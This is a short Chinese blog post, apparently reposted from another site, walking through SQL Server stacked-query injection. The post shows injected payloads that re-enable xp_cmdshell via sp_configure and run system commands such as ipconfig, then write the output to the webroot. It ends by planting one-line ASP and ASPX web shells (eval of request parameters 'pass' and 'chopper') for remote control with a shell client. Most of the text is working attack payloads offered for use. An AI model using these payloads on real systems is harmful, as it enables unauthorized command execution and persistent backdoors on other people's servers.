在sql server 中是可以执行多行操作的
两条sql语句可以用分号隔开
select * from art;select * from admin
如果要执行系统命令需要开启 xp_cmdshell
xp_cmdshell 默认在mssql2000中是可以开启的，在mssql2005之后的版本则默认禁止；
如果用户拥有管理员sa权限则可用sp_configure重新开启。
id=1;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
有的时候不支持多句执行:
exec sp_configure 'show advanced options', 1; 开启高级选项
RECONFIGURE; 配置生效
exec sp_configure'xp_cmdshell', 1; 开启xp_cmdshell
RECONFIGURE; 配置生效
执行系统命令
1;EXEC master..xp_cmdshell 'ipconfig'
1;EXEC master.dbo.xp_cmdshell 'ipconfig'
页面正常，说明命令被执行成功
但是并没有限制 ipconfig 的结果；
可以通过写入到文件，在访问文件
id=1;EXEC master..xp_cmdshell 'ipconfig >>C:\inetpub\wwwroot\\ip1.txt'
id=1;EXEC master.dbo.xp_cmdshell 'ipconfig >>C:\inetpub\wwwroot\\ip1.txt'
getshell
最后 --后面有一个空格 --空格
id=1;exec master..xp_cmdshell 'echo ^<%eval request("pass")%^> >C:\inetpub\wwwroot\\ip2.asp'--
exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["chopper"],"unsafe");%^>>D:\2.aspx' --
蚁剑测试
本文来源https://www.modb.pro/db/75532
来自 “ ITPUB博客 ” ，链接：https://blog.itpub.net/69953058/viewspace-3129206/ ，如需转载，请注明出处，否则将追究法律责任。
请登录后发表评论
登录
全部评论
